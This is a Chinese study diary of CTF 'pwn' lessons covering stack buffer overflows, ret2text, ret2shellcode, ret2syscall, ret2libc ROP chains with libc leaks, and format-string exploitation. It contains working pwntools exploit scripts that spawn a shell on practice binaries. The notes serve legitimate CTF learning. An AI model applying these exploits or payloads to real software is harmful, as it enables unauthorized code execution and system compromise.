一些学pwn的笔记...

【pwn】学pwn日记——栈学习(持续更新)

前言

从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用。

学习视频链接:XMCVE 2020 CTF Pwn入门课程【星盟安全】PWN系列教程(持续更新)

学习文章链接: CTF Wiki

文章内题目连接(带exp.py):pwn题目

elf文件

image-20210802203222493

image-20210802203615095

image-20210802203654628

image-20210802204332461

image-20210802204644270

image-20210802210146450

未初始化的全局变量glb,编译出来在内存中bss中

初始化的全局变量str(没有被修改过),编译出来在内存中data

而hello world在text段中

main和sum函数都在text段中,以机器码形式存放

局部变量t和prt放入栈中

malloc出来的空间放在heap中

image-20210802211718784

32位栈结构

image-20210802230103550

image-20210802231702749

编译保护

ASLR:栈地址随机化(必定打开)

NX:栈保护

Canary:防止缓冲区溢出

PIE:地址无关代码,随即bss、data、text

ret2text

这种题型适用于文件中藏了后门函数的,直接通过栈溢出ret到这个后门函数就可以拿到权限了。

exp如下

from pwn import *

io = process("./ret2text")

success_add = 0x0804863A

payload = b"bi0x"+b"a"*(0x6c) + p32(success_add)

io.sendline(payload)
io.interactive()

拖入ida看到system("/bin/sh")函数的执行地址为0x0804863A

image-20210805154244062

下面就是计算偏移量

如何计算出偏移量为0x6c呢,使用pwndbg动态调试,0xffffd038-0xffffcfcc=0x6C,再用4个字节的垃圾数据填充pre ebp addr的地址

image-20210805153416645

ret2shellcode

因为现在绝大部分的pwn都开启了alsr(地址随机化),所以我们往往无法向栈中写入shellcode

现在有两种方法解决问题

  1. 如果缓冲区设置在.bss区域中,也就是可以更改全局变量,且NX关闭,bss具有写的能力,我们将shellcode写入这个全局变量中,shellcode就可以执行

  2. 使用nop滑梯,即使aslr随机更改地址,我们设置一个指向中间的返回地址,也有一定概率执行shellcode

    image-20210804212048742

这里使用第一种方法

使用pwntools自带的shellcode工具shellcraft编写一个shellcode

偏移量的测量和上面两题一样

from pwn import *

io = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())
success_add = p32(0x0804A080)

payload = shellcode.ljust(0x6c+0x4,b"b") + success_add

io.sendline(payload)
io.interactive()

ret2syscall

rop的构造

image-20210803200951692

分别给寄存器赋值就行了

然后这里需要使用ROPgadget工具来查看,找到我们需要的构建rop链可以使用的寄存器

image-20210805155548698

image-20210805155559756

from pwn import *
io = process("./ret2syscall")
# io = remote("192.168.50.201",38045)
elf = ELF("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = next(elf.search(b"/bin/sh"))

ebx = bin_sh 
ecx = 0x0
edx = 0x0
eax = 0xb
int_0x80 = 0x08049421

payload = b'a'*112 + p32(pop_eax_ret) + p32(eax) + p32(pop_edx_ecx_ebx_ret) + p32(edx) + p32(ecx) + p32(ebx) + p32(int_0x80)

io.sendline(payload)
io.interactive()

ret2libc

动态链接和静态链接

image-20210804120415129

动态链接生成的elf文件很小,和源代码大小差不多

静态链接生成的elf文件很大,是源代码的几倍,涉及到的函数越多,就越大

动态链接需要.so装载器,其中装载了libc-2.xx.so等文件

动态链接相关结构

link_map:保存进程载入的动态链接库的链表(因为可能不仅仅载入一个libc.so文件)

.dynamic节:提供动态链接的相关信息

.got:全局偏移量表

plt:解析函数的真实地址

.got.plt:保存函数地址

image-20210804125900534

动态链接过程

第一次调用,foo去got.plt中询问foo真实地址,但是got.plt也不知道,让foo回去自己找这个地址,于是foo开始解析,解析后调用,将foo真实地址给got.plt,通过got.plt到foo真实地址

image-20210804194742941

第二次调用,plt到got.plt,got.plt直接随着地址到了真实的foo函数地址

image-20210804194859350

image-20210804164513003

image-20210804220859581

所以虽然我们不知道text段的system,但是我们只需要将system的plt地址知道,就可以到system的真实地址,调用真正功能

然后看ret2libc1,从这两张图知道,为什么填充完了局部变量缓冲区和ebp,再填充system函数之后需要加上4个字节的exit函数(这里的exit函数相当于一个返回地址),因为system函数地址+8字节才是system函数的参数,可以参考32位程序的堆栈图

所以这段栈溢出造成的攻击就是执行了两行代码:

  • system("/bin/sh")
  • exit(0)

image-20210804213138570

image-20210804214738360

32位程序的堆栈图

image-20210804220146779

ret2libc1

在了解了上面的动态链接的过程,我们可以开始解题了

首先是最简单的ret2libc1

先给出exp:

from pwn import *

io = process("./ret2libc1")
elf = ELF("./ret2libc1")

bin_sh =next(elf.search(b"/bin/sh"))
sys = elf.plt["system"]

payload = flat([b'b'*112, sys, b'bi0x', bin_sh])

io.sendline(payload)
io.interactive()

libc1中,有system.plt,也有“/bin/sh”这个字符串的数据,所以我们只需要构造一个rop链就可以得到

自己画了一个张图,左边是原状态,右边是我们需要写的状态

填充的垃圾就是向gets函数中进行溢出112字节

image-20210805144720557

为啥是112字节,我们用pwndbg调试一下

可以看到我们在gets的时候输入了8个A。这个数值被存入了eax中,而eax的地址是0xffffcfcc,与ebp(0xffffd038)的距离是108,在加上覆盖掉pre ebp addr的4字节,一共是112字节需要我们填充垃圾数据

image-20210805144414702

在了解了这些信息之后,就可以写exp了

那么这里也是成功在本地运行

image-20210805143439811

ret2libc2

libc2和libc1的区别就是,没有rodata节的"/bin/sh",所以需要我们自己构建一个

libc2中的bss段有一个buf2的全局变量,我们用这个buf2来当作缓冲区

第一种思路:

右边的图相当于

gets(&buf2)

system(buf2)

我们只需要在交互的时候给buf2赋值/bin/sh就可以拿到shell权限

image-20210805160950831

from pwn import *
io = process("./ret2libc2")

elf = ELF("./ret2libc2")

system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
bin_sh = elf.symbols["buf2"]

payload = b"a"*112 + p32(gets_plt) + p32(system_plt) + p32(bin_sh) + p32(bin_sh)

io.sendline(payload)
io.interactive()

运行exp,拿到shell

image-20210805161138614

第二种思路

这种思路是更常见的思路,也就是需要pop出垃圾数据,然后再接着运行,和第一种也就是有无pop的区别

image-20210805172439497

from pwn import *
io = process("./ret2libc2")
elf = ELF("./ret2libc2")

system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
buf2 = elf.symbols["buf2"]
pop_ebx_ret = 0x0804843d

payload = b"a"*112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf2) + p32(system_plt) + p32(pop_ebx_ret) + p32(buf2)

io.sendline(payload)
io.interactive()

一样可以拿到shell

image-20210805172602095

ret2libc3

这一题是这类题型中最难的,因为相比前面两个,libc3没有system,也没有bin/sh,要通过真实地址找到偏移和libc的基地址

先贴俩exp,最近学的太快了,等复习的时候再来细讲一下

通过LibcSearcher来搜索远程对应libc版本

from pwn import *
from LibcSearcher import *

io = process("./ret2libc3")
# io = remote("192.168.50.201", 38023)
elf = ELF("./ret2libc3")

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
start = elf.symbols["_start"]

payload = b"a"*112 + p32(puts_plt) + p32(start) + p32(puts_got)
io.recv()
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])

obj = LibcSearcher("puts",puts_addr)

libc_base = puts_addr - obj.dump("puts")
system_addr = libc_base + obj.dump("system")
binsh_addr = libc_base + obj.dump("str_bin_sh")

payload = b"a"*112 + p32(system_addr) + b"bi0x" + p32(binsh_addr)

io.sendline(payload)
io.interactive()

先puts出__libc_start_main函数的真实地址最后6个字节,再通过在线网站查看libc版本:libc database search

from pwn import *

# io = process("./ret2libc3")
io = remote("192.168.50.201", 38023)
elf = ELF("./ret2libc3")

puts_plt = elf.plt["puts"]
libc_got = elf.got["__libc_start_main"]
start = elf.symbols["_start"]
payload = b'a'*112 + p32(puts_plt) + p32(start) + p32(libc_got)

io.recv()
io.sendline(payload)
libc_addr = u32(io.recv()[0:4])

libc_offset = 0x018d90
libc_base_addr = libc_addr - libc_offset
system_offset = 0x03cd10
system_addr = libc_base_addr + system_offset
binsh_offset = 0x17b8cf
binsh_addr = libc_base_addr + binsh_offset

payload = b"a"*112 + p32(system_addr) + b'bi0x' + p32(binsh_addr)
io.sendline(payload)
io.interactive()

上面的exp是32位的libc3,如果是64位的libc3,那么不是仅仅是栈中存参数,前6个参数由寄存器存放,所以需要调用ROP链

64位的libc3

image-20210807192927584

这题是练习题中的pwn3x64,大家可以自行下载做做(我也不懂为啥我本地没穿)

from pwn import *context.log_level = "debug"io = process("./level3_x64")io.recvuntil(b"Input:\n")elf = ELF("./level3_x64")libc = ELF("/lib/i386-linux-gnu/libc.so.6")write_got = elf.got["write"]write_plt = elf.plt["write"]start_addr = elf.symbols["vulnerable_function"]pop_rdi_ret = 0x00000000004006b3pop_rsi_pop_r15_ret = 0x00000000004006b1ret = 0x0000000000400619# 64位程序前6个参数依次存放于rdi、rsi、rdx、rcx、r8、r9寄存器中,第七个以后的参数存放于栈中payload = b"b"*0x80 + b"bi0xbi0x" + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_r15_ret) + p64(write_got) + b"bi0xbi0x" + p64(write_plt) + p64(start_addr)io.sendline(payload)write_true_addr = u64(io.recv(8)[0:8])io.recv()libc_base = write_true_addr - libc.symbols["write"]system_true_addr = libc_base + libc.symbols["system"]binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))payload = b"b"*0x80 + b"bi0xbi0x" + p64(pop_rdi_ret) + p64(binsh_true_addr) + p64(system_true_addr) + b"retaddr"io.sendline(payload)io.interactive()

32位栈和64位栈的区别

32位栈的视图如下:

image-20210802230103550

如下是32位传参和64位传参的区别

image-20210806152634149

针对ret2text的32和64的区别

64位

image-20210806204758267

32位

image-20210806204814664

格式化字符串

image-20210807184001535

%x输出栈上的16进制

%p输出栈上地址(可以是4字节也可以是8字节)

%s输出栈上地址对应的字符串

%n篡改栈地址对应的数据(累积%n之前的字节,多少字节就赋值多少)

举个例子,如果一个字符串是hello world,那么printf("%p",str)是输出存放这个字符串的地址,而%s就是先解析地址然后将地址内存储的字符串打印出来

c语言的字符串使用\x00来当作字符串的结尾,如果我们篡改这个\x00或者将这个\x00删去,那么这个字符串就不会被计算机认为是结束了的

我们是用$来控制输出第几个字符

%n是四个字节

%hn就是half n,也就是两个字节

%hhn就是half half n,也就是一个字节

%n篡改

%s泄漏

对于格式化字符串的漏洞的利用主要有:崩溃程序、栈数据读取、任意内存地址泄露、栈数据覆盖、任意地址内存覆盖

1.崩溃程序

格式化字符串漏洞通常要在程序崩溃时候才会被发现,这也是最简单的利用方式

再linux中,存取无效的指针会使进程受到SIGSEGV信号,从而使程序非正常终止并产生核心转储,其中存储了程序崩溃时的许多重要的信息,而这些信息这正是攻击者需要的

使用很多个%s就有可能发生程序崩溃

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");

崩溃有以下原因:

  • printf需要将格式化字符串中的每一个%s解析,从栈中读取一个数字,将其视为一个存储了字符串的地址,然后答打印出该地址中的存储的字符串,直到出现一个空字符
  • 如果获取的某个数组不是一个地址就会崩溃
  • 如果获取的数字确实是一个地址,但是这个地址是我们不可操作(受保护的),程序就会崩溃

2.栈数据泄露

使程序崩溃只是验证漏洞的第一步,攻击者还可以用格式化函数获取内存中的数据。

我们知道格式化字符串是从栈中获取值,而且我们知道32位程序下,栈中的数据是从高地址指向低地址,同时printf的参数是以逆序被压入栈中的(所有函数参数都是如此),所以参数在内存中出现的顺序与在printf调用的顺序是一致的

在32位程序中,我们存放的函数参数都是放在栈上的,所以我们可以遇到这种情况

image-20210809141700847

如果我们这样printf("%p%p%p%p")

会打印出0x00000001,0x88888888,0xffffffff,0xffffcd4a

这样其实就是将栈上距离格式化字符串低地址位的参数全部打印出来了,这样我们就得到了存放在栈上的数据

3.任意地址内存泄漏

当攻击者使用“%s”,就可以得到地址指向的字符串内容,程序会将其当作ASCII字符串处理,直到遇到\x00结束。

所以,如果攻击者可以操纵这个参数的值,那么就可以泄露任意地址的内容

还是上面的栈图,如果我们输入%4$s,此时输出的arg4就变成了字符串“ABCD“,而不是地址0xffffcd4a

我们进行任意内存地址泄露,第一步就是需要计算偏移量。

我们手动将地址写入栈中

printf("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p");

我们使用pwndbg调试,得到栈中存放0x41414141的数据的地址,这就是我们真实存放格式化字符串的地址。我们需要计算这个地址与我们开始时的距离,这就是偏移量。

假设我们这里0x41414141是第13个打印的字符,那么我们使用%13$s就可以读出0x41414141地址上的内容。

当然,如果这个地址是一个非法地址(受保护的地址),我们就无法访问。

如何读取我们想要的地址上的数据呢?比如0xffffcd4a地址上的数据?

printf("\x4a\xcd\xff\xff"+".%13$s");

那么这样我们就可以读取0xffffcd4a地址上的数据,按照上面的栈图,这个数据就是ABCD

image-20210809142812412

在漏洞利用中,我们可以利用这种方法,把某个函数的GOT表地址传入,从而获得对应函数的虚拟地址。然后根据函数在libc中的相对位置,就可以计算出任意函数的地址。比如我们最想要的system()

4.栈数据覆盖

我们使用"%n"来将当前已经成功写入流或者缓冲区中的字符个数存储到参数指定的位置

举个例子来说明%n的作用

#include<stdio.h>int main() {    int i;    char str[] = "hello";    printf("%s %n\n", str, &i);    printf("%d\n", i);    return 0;}--hello6

为什么i的值被赋值为了6呢,因为hello还有一个空格有6个字节,%n将这前面的6字节存入i中,所以i = 6

如果我们要向栈中存入一个内存地址为0x8048000呢?

printf("%0134512640d%n\n", 1, &i);

这样就给i赋值为0x8048000了

回到上面的栈图中,如果我们想要将arg2的值改为0x20呢(arg2的内存地址位0xffffcd28)

printf("\x28\xcd\xff\xff%08x%08x%012d%13$n");

假设我们写入的参数在栈中第13个,所以我们就向地址0xffffcd28,写入了0x20(4+16+12)

所以这就将arg2的值改为了0x20了

我们对比printf执行前后的栈,发现首先解析"%13$n",正好这第13个参数是我们写入的0xffffcd28,然后将这个地址存储的值改写为0x00000020

5.任意地址内存覆盖

有没有发现一个问题?就是在上面,我们是通过写入需要改变变量的内存地址来改变这个变量的值的,可是内存地址在32位程序中最小也是4字节,那么我们可以将需要改变的变量的值赋值为4以下的数据吗?

答案是可以的

printf("AA%15$nA" + "\x28\xcd\xff\xff")

这里我们就将内存地址为0xffffcd28的变量的值赋值为了2,为啥这里是%15$呢,因为AA%15$nA这里是8字节,占了两个内存地址(8字节),于是0xffffcd28就向高地址走了2个内存单位,从13变为了15

然后我们还可以通过

%hhn写入1字节

%hn写入2字节

%n写入4字节

%ln写入8字节

%lln写入16字节

从而达到任意地址内存覆盖

6.64位中的格式化字符串漏洞

之前我们在32位栈和64位栈的区别中也将了,linux下64位,前6个参数分别通过RDI、RSI、RDX、RCX、R8、R9进行传递

而在windows下,前4个参数通过RCX、RDX、R8、R9来传递

64位中,我们不能修改寄存器中的值,只能更改第7个参数以后的值,因为前6个参数都存放在寄存器中

pwntools提供的fmtstr模块

pwntools中的pwnlib.fmtstr模块提供了一些字符串漏洞利用的攻击

该模块中定义了一个类FmtStr和一个函数fmtstr_payload

FmtStr(execute_fmt, offset=None, padlen=0, numbwriteen=0)
  • execute_fmt:与漏洞进程进行交互的函数
  • offset:你控制的第一个格式化程序的偏移量
  • padlen:在payload之前添加的pad的大小
  • numbwritten:已经写入的字节数
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:你控制的第一个格式化程序的偏移量
  • writes:格式为{addr:value,addr2:value2},用于往addr里写入value的值(常用:{printf_got})
  • numbwritten:已经由printf函数写入的字节数,默认为0
  • write_size:必须是byte、short或int。指定要逐byte写,逐short写还是int写(hhn、hn或者n)